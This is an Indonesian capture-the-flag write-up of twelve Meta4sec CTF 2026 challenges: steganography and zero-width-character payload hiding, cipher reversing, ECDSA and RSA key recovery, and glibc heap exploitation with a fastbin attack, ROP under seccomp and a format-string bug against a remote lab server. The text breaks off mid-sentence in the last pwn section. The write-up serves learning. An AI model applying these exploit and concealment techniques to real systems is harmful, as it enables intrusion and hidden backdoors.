Write-Up: Meta4sec CTF 2026 (Grand Final)

Penyelesaian 12 dari 13 soal Meta4sec CTF 2026 babak Grand Final, 2.850 poin — forensics, reverse engineering, cryptography, pwn, misc, web, dan ics/ot.
Writeup Meta4sec CTF 2026 (Grand Final)
Platform: hack.redlimit.id · Format flag: REDLIMIT{...}
Solved: 12 dari 13 soal, 2.850 poin
Catatan singkat sebelum mulai: semua output terminal di writeup ini bukan hasil ketik ulang. Setelah babak selesai saya jalankan lagi semua solver dari nol, lalu output mentahnya saya render jadi gambar. Dua eksploit pwn juga saya tembak ulang ke server aslinya, jadi yang kelihatan di screenshot memang hasil koneksi beneran, bukan simulasi lokal.
Daftar Isi
| # | Challenge | Kategori | Level | Poin |
|---|---|---|---|---|
| 1 | Dropper | forensics | hard | 300 |
| 2 | Undetected | forensics | medium | 150 |
| 3 | The Cipher | reverse | hard | 300 |
| 4 | Feedback | reverse | medium | 150 |
| 5 | Cakra | crypto | hard | 300 |
| 6 | RSA Wayang | crypto | medium | 150 |
| 7 | metamorphosis | pwn | hard | 300 |
| 8 | surge | pwn | medium | 150 |
| 9 | Kardus Susu Biasa | misc | hard | 300 |
| 10 | KontenKita | web | medium | 150 |
| 11 | NeuroFlow | web | hard | 300 |
| 12 | Menara: Brankas Lt 2 | ics/ot | hard | 300 |
Tiga di antaranya (Dropper, RSA Wayang, Kardus Susu Biasa) tidak ada yang berhasil memecahkan selama babak berlangsung. Satu soal belum selesai: is there a bitcoin? (osint, 150 poin).
1. Dropper
forensics · hard · 300 poin · by frozzipies · 0 solves
File: server_capture.png
Web server produksi PT. Nusantara Data Sejahtera diketahui sudah dibobol berminggu-minggu. Saat tim forensic menyisir direktori
/var/www/uploads, mereka menemukan satu file yang mencurigakan, sebuah screenshot bernama "server_capture.png" yang agak janggal.Dugaan tim forensic, ini bukan gambar biasa, melainkan dropper atau file yang dipakai attacker untuk menyelundupkan komponen backdoor melewati antivirus. Sesuatu disembunyikan berlapis di dalamnya, dan di lapisan paling dalam diduga ada exfiltrate key yang dibuat sedemikian rupa supaya lolos dari segala jenis security check, baik dari sisi manusia, tools, atau bahkan AI.
Hint: Karakternya seperti hantu

Soalnya punya tiga lapis, dan tiap lapis pakai teknik yang beda.
1.1 Lapis pertama: ada ZIP nempel di belakang PNG
file bilang ini PNG normal. Tapi ukuran filenya terasa kegedean untuk gambar 760x440, jadi
saya telusuri struktur chunk-nya satu per satu.
file server_capture.png
# PNG image data, 760 x 440, 8-bit/color RGB, non-interlaced
import struct
d = open('server_capture.png','rb').read()
i = 8
while i < len(d):
ln = struct.unpack('>I', d[i:i+4])[0]
typ = d[i+4:i+8].decode()
print(f'{i:8d} {typ} len={ln}')
if typ == 'IEND':
end = i + 12
break
i += 12 + ln
print('byte setelah IEND:', len(d) - end)
open('trailer.bin','wb').write(d[end:])
8 IHDR len=13
33 tEXt len=30
75 IDAT len=24382
24469 IEND len=0
byte setelah IEND: 807
Ketemu. IEND itu penanda akhir file PNG, semua byte setelahnya sebenarnya sudah di luar gambar.
Di sini ada 807 byte nyangkut. Viewer gambar cuek dan tetap menampilkan gambarnya seperti biasa,
makanya file ini lolos begitu saja.
file trailer.bin
# Zip archive data, method=deflate, encrypted, uncompressed size 1916 -> database.php

1.2 Lapis kedua: password ZIP-nya ada di pixel
ZIP-nya terenkripsi. Sempat kepikiran bruteforce, tapi rasanya bukan itu arahnya, soalnya gambarnya sendiri belum diperiksa sama sekali. Saya coba baca LSB tiap pixel.
from PIL import Image
im = Image.open('server_capture.png').convert('RGB')
w, h = im.size
px = im.load()
flat = []
for y in range(h):
for x in range(w):
flat.extend(px[x, y]) # R, G, B berurutan
bits = [v & 1 for v in flat] # ambil bit paling kanan
out = bytearray()
for i in range(0, len(bits) - 7, 8):
b = 0
for j in range(8):
b = (b << 1) | bits[i + j] # MSB dulu
out.append(b)
print(bytes(out[:40]))
b'zip_password=dr0pp3r_k3y_2026\x00\x00\x00...'
Langsung kebaca di percobaan pertama, tanpa perlu utak-atik urutan channel.
unzip -P 'dr0pp3r_k3y_2026' trailer.bin
# inflating: database.php
1.3 Lapis ketiga: karakter yang tidak ada wujudnya
Isi database.php kelihatan wajar, cuma file koneksi database biasa:
<?php
/**
* Database connection handler
* PT. Nusantara Data Sejahtera - internal portal
* NOTE: do not commit real credentials to VCS....
*/
define('DB_HOST', '127.0.0.1');
define('DB_USER', 'portal_svc');
define('DB_PASS', 'S3rv1c3_p4ss_2026!');
...
$ANALYTICS_TOKEN = 'a1f9c0d3e2b74856';
Ada password dan token analytics di situ, dan sempat saya kira itu jawabannya. Ternyata umpan. Keduanya tidak dipakai sama sekali.
Hint "karakternya seperti hantu" baru masuk akal setelah saya lihat panjang baris komentarnya
tidak wajar. Di belakang kalimat NOTE: do not commit real credentials to VCS. ada 368 karakter
yang tidak punya wujud visual sama sekali:
s = open('database.php', encoding='utf-8').read()
zw = [c for c in s if ord(c) in (0x200b, 0x200c)]
from collections import Counter
print(Counter(hex(ord(c)) for c in zw))
# Counter({'0x200b': 204, '0x200c': 164}) -> 368 karakter
bits = ''.join('0' if ord(c) == 0x200b else '1' for c in zw)
flag = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8))
print(flag)
Cuma dua jenis karakter yang dipakai, dan itu sudah cukup untuk jadi biner:
| Karakter | Unicode | Bit |
|---|---|---|
| ZWSP (Zero Width Space) | U+200B | 0 |
| ZWNJ (Zero Width Non-Joiner) | U+200C | 1 |
368 bit dibagi 8 pas dapat 46 karakter.
REDLIMIT{f0R3nSIC_H4RD_Dr0pp3RRRR_EzKan_IN111}
Bagian yang bikin soal ini menarik menurut saya bukan tekniknya, tapi implikasinya. Payload
model begini tidak kelihatan waktu code review, tidak kena grep, dan di diff GitHub cuma
tampil sebagai baris yang tidak berubah. Bisa nongkrong di repo bertahun-tahun tanpa ada yang
sadar.
Flag: REDLIMIT{f0R3nSIC_H4RD_Dr0pp3RRRR_EzKan_IN111}
2. Undetected
forensics · medium · 150 poin · by frozzipies · 1 solve
File: private-data.zip
PT. Nusantara Data Sejahtera dibobol. Data internal bocor ke luar, tapi sampai hari ini tim SOC tidak tahu dari mana penyerang masuk, tidak ada jejak exploit sama sekali di server, tidak ada koneksi mencurigakan di log firewall.
Perhatian tertuju pada satu arsip di laptop owner perusahaan bernama
private-data.zip: data karyawan, sebuah foto internal, dan catatan kredensial. Payload dirancang supaya lolos dari semua antivirus, EDR, maupun XDR karena tidak memakai pola malware yang biasa dikenali mesin. Manusia harus turun tangan.Payload terpecah menjadi tiga bagian, satu di tiap file. Gabungkan sesuai urutan.

Langkah pertama yang selalu saya lakukan, cek tipe file satu-satu:
file *
# catatan_password.txt: ASCII text
# data_perusahaan.pdf: PDF document, version 1.4, 2 page(s)
# private_company_image.png: data <-- ini aneh
PNG-nya terdeteksi sebagai data, artinya bukan PNG valid. Sudah dapat satu petunjuk gratis
sebelum membuka apa-apa.

2.1 Bagian pertama, di PDF
pdftotext -layout data_perusahaan.pdf - | grep REDLIMIT
REDLIMIT{H1dd3n_
Ditaruh di tengah daftar 100 karyawan, persis di bawah baris ke-50. Kalau cuma di-scroll pakai
mata bakal kelewat, tapi grep langsung menemukannya.
2.2 Bagian kedua, ini yang butuh mata manusia
catatan_password.txt isinya catatan kredensial yang kelihatan normal:
admin-panel.corp.local | root | Adm!n#2024x
cpanel.hosting.net | webadmin | Cp@nel_887
Router-Kantor (Mikrotik) | admin | Rtr0s_Secure!
0365-portal.corp | it.support | 0ffice#365pass
sftp-server 10.0.2.5 | deploy | S3rver_deploy!
trello-workspace | pm@corp | Tr3llo_board22
1pass-vault-master | cto | 1P@ss_master_kie
cctv-nvr 10.0.9.20 | viewer | Cctv#view_991
_nas-backup 10.0.3.7 | backupsvc | _N@s_backup_00
Saya cek dulu apakah ada byte tersembunyi seperti di soal Dropper:
d = open('catatan_password.txt','rb').read()
print(sorted(set(d))) # bersih, tidak ada zero-width, tidak ada trailing space
Kosong. Jadi payloadnya harus ada di teks yang kelihatan. Setelah dipelototi beberapa saat, baru sadar huruf pertama tiap barisnya membentuk sesuatu:
first = ''.join(l.split()[0][0] for l in open('catatan_password.txt') if l.strip())
print(first) # acR0st1c_
| Baris | Huruf |
|---|---|
| admin-panel.corp.local | a |
| cpanel.hosting.net | c |
| Router-Kantor (Mikrotik) | R |
| 0365-portal.corp | 0 |
| sftp-server 10.0.2.5 | s |
| trello-workspace | t |
| 1pass-vault-master | 1 |
| cctv-nvr 10.0.9.20 | c |
| _nas-backup 10.0.3.7 | _ |
Yang rapi dari soal ini, nama host-nya dipilih supaya tetap masuk akal sebagai catatan asli.
0365 bukan O365, 1pass bukan onepass, dan _nas-backup underscore-nya terlihat seperti
salah ketik biasa. Semuanya wajar kalau dibaca sepintas.
2.3 Bagian ketiga, PNG yang cuma rusak 4 byte
xxd private_company_image.png | head -1
# 00000000: 0000 0000 0d0a 1a0a 0000 000d 4948 4452 ............IHDR
Signature PNG yang benar itu 89 50 4E 47 0D 0A 1A 0A. Empat byte pertama diganti nol, sisanya
utuh. Tinggal ditambal:
d = bytearray(open('private_company_image.png','rb').read())
d[0:4] = b'\x89PNG'
open('fixed.png','wb').write(d)
Saya cek CRC ketiga chunk-nya untuk memastikan tidak ada kerusakan lain, dan semuanya lolos:
8 IHDR len=13 crc=OK
33 IDAT len=11332 crc=OK
11377 IEND len=0 crc=OK

Gambarnya memuat potongan terakhir: c4Rv3d_Akh1rny4_SOLVEDDD}
2.4 Digabung
REDLIMIT{H1dd3n_ + acR0st1c_ + c4Rv3d_Akh1rny4_SOLVEDDD}
Flag: REDLIMIT{H1dd3n_acR0st1c_c4Rv3d_Akh1rny4_SOLVEDDD}
3. The Cipher
reverse · hard · 300 poin · by admin · 1 solve
File: crack_hard (ELF 64-bit, PIE, stripped)
The binary implements a custom block cipher, a small Substitution-Permutation Network over GF(2⁸): AddRoundKey → (SubBytes, MixColumns, AddRoundKey) × R. The S-box and the diffusion matrix are custom (not AES). Your input is encrypted in 4-byte blocks and compared to an embedded ciphertext. To solve you must recover the S-box, the matrix, and the round keys from the binary, compute the inverse S-box and the inverse matrix over GF(2⁸), then invert every round in reverse order. No byte-wise shortcut, the diffusion prevents it.

Binary-nya stripped dan semua logikanya di-inline ke main, jadi tidak ada satu pun nama
fungsi yang bisa dijadikan pegangan:

Untungnya konstanta tidak bisa disembunyikan, semuanya tetap harus ada di .rodata.
3.1 Mencari konstanta di rodata
objdump -s -j .rodata crack_hard
Alamat masing-masing blok ketahuan dari instruksi lea rip-relative di disassembly:
| Alamat | Isi | Ukuran | Ketahuan dari |
|---|---|---|---|
0x2040 | ciphertext | 48 byte | lea rdx,[rip+0xbf6] di loop pembanding |
0x2070 | round key (6 × 4) | 24 byte | lea rdi,[rip+0xe99], counter berhenti di 0x18 |
0x2090 | matriks difusi 4×4 | 16 byte | lea r10,[rip+0xe48], r10 += 4 sampai 0x20a0 |
0x20a0 | S-box | 256 byte | lea r13,[rip+0xef5], di-index pakai byte state |
Panjang input harus 45 byte (cmp esi, 0x2d), diproses per 4 byte jadi 12 blok
(cmp rdx, 0x30), dan jumlah rondenya 5 (counter [rsp+0x10] naik 4 sampai 0x18).
3.2 Menyusun ulang algoritmanya
Polanya mirip AES tapi blok cuma 4 byte:
state = input[4] XOR RK[0]
ulangi 5x:
state = SBOX[state]
state = M · state # perkalian matriks di GF(2^8), poly 0x11b
state ^= RK[r]
bandingkan dengan ciphertext[4]
Satu perbedaan dari AES, di sini kelima rondenya full. Tidak ada ronde terakhir yang MixColumns-nya dihilangkan.
Bagian yang sempat bikin ragu
128e: lea r14d, [rax+rax*1] ; a*2, tapi tanpa mask 0xff
1292: mov r15d, r14d
1295: xor r15d, 0x1b
1299: test al, al ; cek bit-7 dari byte rendah saja
129e: cmovs eax, r15d
Compiler tidak me-mask akumulatornya ke 8 bit, jadi nilainya makin membengkak tiap iterasi.
Sempat saya kira ini varian GF yang tidak standar. Ternyata tidak berpengaruh: cek bit-7 pakai
test al, al yang cuma melihat byte rendah, hasil akhir juga cuma ambil al, dan XOR tidak
pernah membawa bit dari atas ke bawah. Perilakunya sama persis dengan xtime AES biasa.
3.3 Solver
d = open('crack_hard','rb').read()
CT = d[0x2040:0x2070]
RK = d[0x2070:0x2088]
M = d[0x2090:0x20a0]
SBOX = d[0x20a0:0x21a0]
assert len(set(SBOX)) == 256, 'sbox bukan permutasi'
INV = [0]*256
for i, v in enumerate(SBOX): INV[v] = i
def gm(a, b): # perkalian GF(2^8), poly 0x11b
r = 0
for _ in range(8):
if b & 1: r ^= a
hi = a & 0x80; a = (a << 1) & 0xff
if hi: a ^= 0x1b
b >>= 1
return r
Mm = [[M[r*4+c] for c in range(4)] for r in range(4)]
# invers matriks 4x4 di GF(2^8), Gauss-Jordan biasa
def ginv(x):
return next(y for y in range(1,256) if gm(x,y) == 1)
A = [row[:] + [1 if i==j else 0 for j in range(4)] for i,row in enumerate(Mm)]
for col in range(4):
p = next(r for r in range(col,4) if A[r][col])
A[col], A[p] = A[p], A[col]
iv = ginv(A[col][col])
A[col] = [gm(v, iv) for v in A[col]]
for r in range(4):
if r != col and A[r][col]:
f = A[r][col]
A[r] = [A[r][k] ^ gm(f, A[col][k]) for k in range(8)]
Minv = [row[4:] for row in A]
mul = lambda mat,s: bytes(gm(mat[r][0],s[0])^gm(mat[r][1],s[1])^
gm(mat[r][2],s[2])^gm(mat[r][3],s[3]) for r in range(4))
xor = lambda a,b: bytes(x^y for x,y in zip(a,b))
def dec(c):
s = c
for r in range(5, 0, -1):
s = mul(Minv, xor(s, RK[4*r:4*r+4]))
s = bytes(INV[b] for b in s)
return xor(s, RK[0:4])
flag = b''.join(dec(CT[i:i+4]) for i in range(0,48,4))
print(flag.decode())
Matriksnya dan hasil inversnya:
M = f9 96 47 77 / 0e 81 e1 9f / 8c dc ab e3 / 50 9c c2 28
M^-1 = 27 34 96 cb / 81 93 12 96 / 5a 04 83 1e / 12 fe 56 23

Flag: REDLIMIT{cu5t0m_5pn_gf256_mds_5b0x_ai_c4nt_h1de}
4. Feedback
reverse · medium · 150 poin · by admin · 2 solves
File: crack_medium (ELF 64-bit, PIE, stripped)
A single check runs your input through a stateful keystream: a PRNG produces a per-byte key, and each byte is mixed with a running state that is fed back from previous bytes. There's also an anti-debug tamper check, attach a tracer and a key silently corrupts, so even the correct flag is rejected. Analyze it statically (or neutralize the check), reconstruct the PRNG, and invert the chain in order (you cannot solve bytes independently).

4.1 Anti-debug-nya
Ini bagian yang paling saya suka dari soal ini:
1196: call ptrace ; PTRACE_TRACEME
11aa: sar rax, 0x3f ; jadi 0 kalau sukses, -1 kalau sedang di-trace
11b1: and esi, 0x6b
11b4: xor esi, 0xffffffa5 ; hasilnya s awal = 0xa5 atau 0xce
Tidak ada crash, tidak ada pesan, tidak ada exit. Yang berubah cuma nilai awal state s.
Kalau dijalankan di bawah debugger, program tetap jalan normal dan tetap bilang REJECTED
walaupun flag-nya benar. Halus sekali.
4.2 Alur per byte
PRNG xorshift32: x ^= x<<13 ; x ^= x>>17 ; x ^= x<<5
k = state & 0xff
t = rol8( ((inp[i] ^ k) + s) & 0xff , (i % 7) + 1 ) # harus == target[i]
s = (s + inp[i] + t) & 0xff # umpan balik
Rotasi (i % 7) + 1 di disassembly kelihatan ruwet karena compiler mengubah modulo jadi
perkalian dan geser:
11ee: imul rcx, rcx, 0x24924925
1201: shr rcx, 0x20
1208: sub eax, ecx
120d: shr eax, 1
120f: add eax, ecx
1211: shr eax, 0x2 ; eax = i / 7
1214: lea ecx, [rax*8+0x0]
121b: sub eax, ecx
121d: lea ecx, [rax+rdx*1+0x1] ; ecx = (i % 7) + 1
1221: rol r8b, cl
Yang bikin solver-nya jadi pendek: semuanya bisa dihitung mod 256 saja. Registernya memang
32-bit, tapi hasil akhir cuma dibandingkan lewat r8b, dan penjumlahan maupun XOR tidak pernah
membawa bit dari atas ke bawah. Bit tinggi bisa diabaikan total.
4.3 Membalik rantainya
Karena s bergantung pada byte sebelumnya, urutannya tidak bisa dilompati. Harus maju satu
per satu dari indeks 0.
TARGET = bytes.fromhex(
'c4d4f2e0e821026f807ba64aaa5e52bf'
'aa10adae785e04efeeb3eed908d184cc'
'29c4fcddfb5fbb81765bfd2aaf')
M = 0xffffffff
rol8 = lambda v,r: ((v << r) | (v >> (8-r))) & 0xff
ror8 = lambda v,r: ((v >> r) | (v << (8-r))) & 0xff
def prng(state):
while True:
x = state
x ^= (x << 13) & M
x ^= x >> 17
x ^= (x << 5) & M
state = x & M
yield state
def solve(s0):
g = prng(0x1f2e3d4c); s = s0; out = bytearray()
for i, tgt in enumerate(TARGET):
k = next(g) & 0xff
u = ror8(tgt, (i % 7) + 1) # batalkan rotasinya
b = ((u - s) & 0xff) ^ k # batalkan +s, lalu XOR kuncinya
out.append(b)
s = (s + b + tgt) & 0xff # umpan balik pakai byte hasil rotasi
return bytes(out)
print(solve(0xa5)) # 0xa5 = kondisi tidak di-trace
./crack_medium 'REDLIMIT{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}'
# ACCEPTED - that is the flag!
4.4 Efek samping yang lucu
Saya iseng menjalankan solver-nya dengan kedua nilai s awal, dan hasilnya di luar dugaan:
di-trace : b'{\x17\xa84\xf9\xad\xc9T{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}'
bersih : b'REDLIMIT{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}'
Perbedaannya padam sendiri setelah 7 byte. Jadi kalau ada yang mengerjakan soal ini di bawah
debugger, yang muncul bukan sampah acak, tapi flag yang benar dengan bagian REDLIMIT di
depannya berantakan. Lebih menyesatkan daripada kalau rusak total, karena orang bisa mengira
solver-nya yang salah, bukan sadar sedang di-trace.

Flag: REDLIMIT{ch41n3d_prng_st4t3_x_f33db4ck_f1n4l}
5. Cakra
crypto · hard · 300 poin · by kac0 · 1 solve
File: chall.py, output.txt
HSM Garuda modul Cakra menandatangani beberapa nota dinas dengan ECDSA (secp256k1). HSM memutarnya dengan sebuah rotor kuadratik. Kamu memegang transkrip lima tanda tangan dan sepotong kata rahasia turunan keluarga d.

5.1 Letak bug-nya
k = int.from_bytes(os.urandom(32), "big") % N
for msg in MESSAGES:
R = ec_mul(k, G); r = R[0] % N; z = H(msg)
s = (inv(k, N) * (z + r * d)) % N
sigs.append((msg, r, s))
k = (c * k * k + e) % N # nonce tidak pernah diacak ulang
Nonce-nya cuma diputar dengan k ← c·k² + e mod n, dan c maupun e tetap sama sepanjang
lima tanda tangan. Ini yang jadi celahnya.
5.2 Idenya
Dari persamaan ECDSA s·k = z + r·d, tiap nonce bisa ditulis ulang:
$$k_i = \underbrace{z_i s_i^{-1}}{A_i} + \underbrace{r_i s_i^{-1}}{B_i},d$$
Jadi setiap k_i sebenarnya polinom derajat 1 terhadap d, satu-satunya yang belum diketahui.
Berikutnya buang e dengan mengurangkan dua langkah rotor yang berurutan:
$$k_{i+1} - k_i = c,(k_i^2 - k_{i-1}^2) = c,(k_i - k_{i-1})(k_i + k_{i-1})$$
Lalu buang c dengan menyamakan dua selisih itu dan kali silang:
$$(k_2-k_1)^2(k_2+k_1) ;-; (k_3-k_2)(k_1-k_0)(k_1+k_0) ;=; 0$$
Karena tiap k_i derajat 1, ruas ini jadi polinom derajat 3 dalam d dengan koefisien yang
semuanya sudah diketahui. Lima tanda tangan memberi dua polinom seperti ini, dan di sinilah
kenapa soalnya kasih lima, bukan empat.
d yang asli pasti jadi akar bersama keduanya, jadi:
$$\gcd(F_1, F_2) = d - d_{\text{asli}}$$
Euclid polinomial biasa di GF(n) sudah cukup. Tidak perlu Groebner basis, resultant, ataupun
lattice, cuma butuh invers modular yang jelas ada karena n prima.
5.3 Solver
H = lambda m: int.from_bytes(hashlib.sha256(m).digest(),'big') % N
K = [] # k_i = A_i + B_i*d
for msg, r, s in SIGS:
si = pow(s, -1, N)
K.append([H(msg)*si % N, r*si % N])
def elim(i):
d10 = psub(K[i+1], K[i]); s10 = padd(K[i+1], K[i])
d21 = psub(K[i+2], K[i+1]); s21 = padd(K[i+2], K[i+1])
d32 = psub(K[i+3], K[i+2])
return psub(pmul(pmul(d21,d21), s21), pmul(pmul(d32,d10), s10))
F1, F2 = elim(0), elim(1) # dua polinom derajat 3
g = pgcd(F1, F2) # hasilnya derajat 1
d = (-g[0]) % N
assert ec_mul(d, (Gx,Gy)) == (Qx,Qy) # dicocokkan ke kunci publik
key = hashlib.sha256(b'cakra-hsm-key||' + d.to_bytes(32,'big')).digest()
flag = AES.new(key, AES.MODE_GCM, nonce=FLAG_NONCE).decrypt_and_verify(FLAG_CT, FLAG_TAG)
Aritmetika polinomialnya saya tulis sendiri (padd, psub, pmul, pmod, pgcd), jadi
tidak perlu SageMath untuk soal ini.

Dua verifikasi yang saya pakai: d·G == Q cocok dengan kunci publik, dan tag AES-GCM lolos
autentikasi. Kalau d-nya salah, dua-duanya pasti gagal.
Flag: REDLIMIT{d0ubl3_3l1m1n4s1_c_d4n_e_pada_rot0r_kuadr4tik_cakr4}
6. RSA Wayang
crypto · medium · 150 poin · by kac0 · 0 solves
File: output.txt
Pagelaran dalang digital. Lakonnya tampak seperti RSA biasa (N, e, c), tapi sang dalang menyelipkan 'sasmita' yang tak pernah menyebut dirinya siapa.

Isi filenya cuma empat baris:
N = 1323334714807430724405240657064935008597110755672830574672454525058926687674...
e = 65537
c = 7003876676729486971144159321992766489899123216711039327621306408430021855505...
sasmita = 6703680871594837898247720049088850572981765970502629886110179369100111347383...
Tantangannya bukan menghitung, tapi menebak sasmita itu apa. Soalnya memang sengaja tidak
memberi tahu.
6.1 Menebaknya dari ukuran
Hal pertama yang saya cek selalu ukuran dan relasi dasarnya:
print('bits N =', N.bit_length()) # 1024, jadi p dan q masing-masing 512
print('bits s =', s.bit_length()) # 312
print('gcd(N,s) =', math.gcd(N, s)) # 1, bukan faktor
print('N % s == 0:', N % s == 0) # False
print(512 - s.bit_length()) # 200
Angka 200 itu yang menarik. Kalau sasmita adalah bit-atas salah satu prima, berarti yang belum
diketahui tinggal 200 bit. Batas Coppersmith untuk faktorisasi dengan bit parsial ada di
N^(1/4) alias 256 bit, jadi 200 masih aman di bawahnya. Angkanya juga terlalu bulat untuk
kebetulan.
6.2 Coppersmith
Kalau sasmita = p >> 200, maka:
$$p = \texttt{sasmita} \cdot 2^{200} + x, \qquad 0 \le x < 2^{200}$$
# SageMath
PR.<x> = PolynomialRing(Zmod(N))
f = (s * 2^200 + x).monic()
roots = f.small_roots(X=2^200, beta=0.4, epsilon=0.02)
p = gcd(N, ZZ(f(roots[0])))
beta=0.4 dipakai karena p besarnya sekitar N^0.5. Kena di percobaan pertama, jadi
hipotesis bit-bawah tidak perlu dicoba sama sekali.

p = 10772399829137012128786989950546987491958955665315918857897380481346291633554...
q = 12284493110143354287154932682484816959313249797738607124443410113589254166377...
Sisanya RSA biasa: d = e⁻¹ mod φ(N), lalu dekripsi.
Soal ini 0 solves, padahal begitu tahu sasmita itu MSB prima, sisanya cuma satu panggilan
small_roots. Bagian susahnya memang murni di menebak, bukan di eksekusi.
Flag: REDLIMIT{c0pp3rsm1th_msb_pr1m4_d1b4l1k_l4k0n_w4y4ng}
7. metamorphosis
pwn · hard · 300 poin · by kac0 · 1 solve
File: metamorphosis, libc.so.6 (glibc 2.42), ld-linux-x86-64.so.2
Remote: nc 165.99.163.102 13032
Note editor di atas glibc 2.42, dijalankan dengan tcache dinonaktifkan. Satu overflow kecil, tanpa
win(), seccomp ORW.

7.1 Yang dihadapi
Menunya note editor standar:
| Pilihan | Aksi |
|---|---|
0 | keluar (main return) |
1 | alloc, idx ≤ 9, 1 ≤ size ≤ 0x420 |
2 | edit, read(0, ptr[i], size[i] + 0x40) |
3 | free, pointer di-NULL-kan |
4 | show, write(1, ptr[i], size[i]) |
Bug-nya di menu edit, size[i] + 0x40. Overflow 64 byte ke chunk sebelahnya. Free-nya rapi,
pointer langsung di-NULL, jadi tidak ada UAF.

Perhatikan dump .data di gambar itu. Ada nilai 0x71 nangkring di 0x4068, dan
0x4060 + 0x10 persis jatuh di awal tabel pointer catatan. Itu fake chunk header yang sudah
disiapkan pembuat soal, tinggal diarahkan ke sana.
Seccomp-nya mengizinkan read, write, open, openat, close, lseek, fstat,
newfstatat, brk, exit, exit_group. Tanpa mmap dan mprotect, jadi shellcode tidak
mungkin, harus murni ROP.
7.2 Bocoran PIE
Gratis dari banner:
io.recvuntil(b'session token: ')
pie = int(io.recvline().strip(), 16) - 0x125c
7.3 Bocoran libc dan heap
alloc(0, 0x420) # A
alloc(1, 0x18) # penjaga, biar A tidak melebur ke top
alloc(2, 0x420) # C
alloc(3, 0x18) # penjaga
free(0) # unsorted: A
free(2) # unsorted: C -> A ; A->fd = arena, A->bk = C
alloc(0, 0x420) # ukuran persis sama
leak = show(0, 0x10)
arena = u64(leak[0:8]) # libc
chunkC = u64(leak[8:16]) # heap
Kuncinya di request terakhir. Kalau ukurannya persis sama dengan chunk yang ada di unsorted bin,
glibc mengembalikannya lewat jalur size == nb dan tidak membersihkan area datanya. Field fd
dan bk masih utuh di sana, jadi satu show sudah memberi libc dan heap sekaligus.
7.4 Fastbin attack ke .data
alloc(4, 0x18) # X : chunk 0x20 di chunkC
alloc(5, 0x68) # V : chunk 0x70 di chunkC+0x20
V_fd = chunkC + 0x30
free(5) # fastbin[0x70] = V
protect = lambda pos, ptr: (pos >> 12) ^ ptr # safe-linking glibc >= 2.32
edit(4, flat({
0x10: p64(0), # prev_size V
0x18: p64(0x71), # size V, dipertahankan
0x20: p64(protect(V_fd, G)), # fd V diarahkan ke fake chunk
}, filler=b'A', length=0x28))
alloc(5, 0x68) # ambil V, kepala fastbin sekarang G
alloc(6, 0x68) # dapat G+0x10 = &ptr[0]
Di sini saya sempat kejeblos. Header chunk V itu ada di offset 0x10 dari data X, bukan 0x18.
Chunk 0x20 terdiri dari 0x10 header dan 0x10 usable, jadi tetangganya mulai di +0x10. Salah
8 byte saja malloc() langsung error, dan karena abort() memanggil syscall yang diblokir
seccomp, prosesnya mati dengan SIGSYS. Bingung sesaat kenapa crash-nya aneh, ternyata cuma
salah hitung offset.
Setelah dapat kendali atas tabel pointer, satu edit(6) bisa menulis ulang seluruh ptr[] dan
size[]. Saya batasi tepat 0xa0 byte supaya stdout di 0x4110 tidak ikut tertimpa.
7.5 Mencari saved-RIP main
Awalnya saya cari alamat kembali main lewat offset __libc_start_call_main. Meleset, karena
call rax di 0x2a04e ternyata bukan call site-nya.
Gantinya saya pakai cara yang tidak bergantung offset libc sama sekali: cari array filter
seccomp milik main di stack lewat sidik jari 16 byte pertamanya.
# {0x20,0,0,4} -> BPF_LD arch
# {0x15,1,0,0xc000003e} -> JEQ AUDIT_ARCH_X86_64
FINGERPRINT = bytes.fromhex('2000000004000000150001003e0000c0')
i = dump.find(FINGERPRINT)
# main push r13/r12/rbp/rbx (0x20) lalu sub rsp,0xa8, jadi saved RIP di rsp+0xc8
# filter ada di rsp+0x10, berarti saved RIP = alamat filter + 0xb8
ret_slot = (lo + i) + 0xb8
Cara ini lebih tahan banting karena filternya pasti ada di frame main apa pun versi libc-nya.
7.6 ROP dan dua jebakan penempatan string
Rantainya standar open, read, write, exit. Yang menghabiskan waktu justru menaruh nama filenya.
Percobaan pertama saya taruh di ret_slot + 0x400. Gagal, karena ljust tidak memotong string,
jadi nama filenya ketimpa rantai ROP sendiri. Alamat itu juga sudah lewat puncak stack.
Percobaan kedua di ret_slot - 0x200. Juga gagal, dan ini lebih halus: stringnya berhasil
ditulis, tapi keburu ketimpa frame printf dan fgets dari iterasi menu berikutnya, sebelum
main sempat return.
Akhirnya saya taruh di .data yang menganggur, di area admin_token dan decoy_flag
(0x4020). Ada 64 byte bebas di sana sebelum tabel catatan di 0x4060, dan tidak ada yang
pernah menyentuhnya sepanjang program jalan.

Flag: REDLIMIT{kepompong_h3ap_dip01s0n_bareng_m3ta4sec}
8. surge
pwn · medium · 150 poin · by kac0 · 1 solve
File: surge, libc.so.6 (glibc 2.42)
Remote: nc 165.99.163.102 13033
Request relay: satu word 8-byte menentukan segalanya. seccomp ketat pada apa yang boleh kamu baca.

8.1 Dua bug
Format string di leaker():
120f: call fgets ; fgets(rsp, 0xa0, stdin)
1223: call strcspn ; buang newline
1238: call printf ; printf("hello, ")
1245: call printf ; printf(buf) <-- ini bugnya
Stack overflow di main():
1634: call read ; read(0, rsp, 8)
1639: cmp DWORD [rsp+0x4], 0xc0de ; magic
1685: mov edx, DWORD [rsp] ; panjang, dipakai mentah
1695: call read ; read(0, rsp+0xe0, edx)
Satu word 8-byte itu ternyata dibaca sebagai dua nilai berbeda, [panjang:4][magic:4]. Kalau
magic-nya cocok, panjangnya dipakai apa adanya sebagai count read(). Nama flag-nya sendiri
mengonfirmasi ini, "union ketuker type".
sub rsp,0x138 -> buffer rsp+0xe0 | canary rsp+0x128 | retaddr rsp+0x138
jarak ke canary = 0x48
jarak ke retaddr = 0x58
8.2 Seccomp-nya, ini bagian terbaiknya
4 JEQ read -> idx 17 <- tidak langsung ALLOW
17 LD args[0] low32
18 JEQ 0 -> idx 20
20 LD args[0] high32
21 JEQ 0 -> ALLOW
22 RET KILL
read cuma lolos kalau fd == 0. Sementara write, open, openat, pread64, lseek,
fstat, dan close diizinkan tanpa cek argumen sama sekali.
Jalur yang jelas dituju pembuat soal adalah pread64 (syscall 17), karena dia bisa baca fd
berapa pun. Masalahnya libc yang disertakan tidak punya gadget pop r10, padahal pread64
butuh r10 untuk argumen offset. Saya sempat cari gadget alternatif dan buntu.
Lalu kepikiran hal yang lebih sederhana. open selalu mengembalikan file descriptor bebas
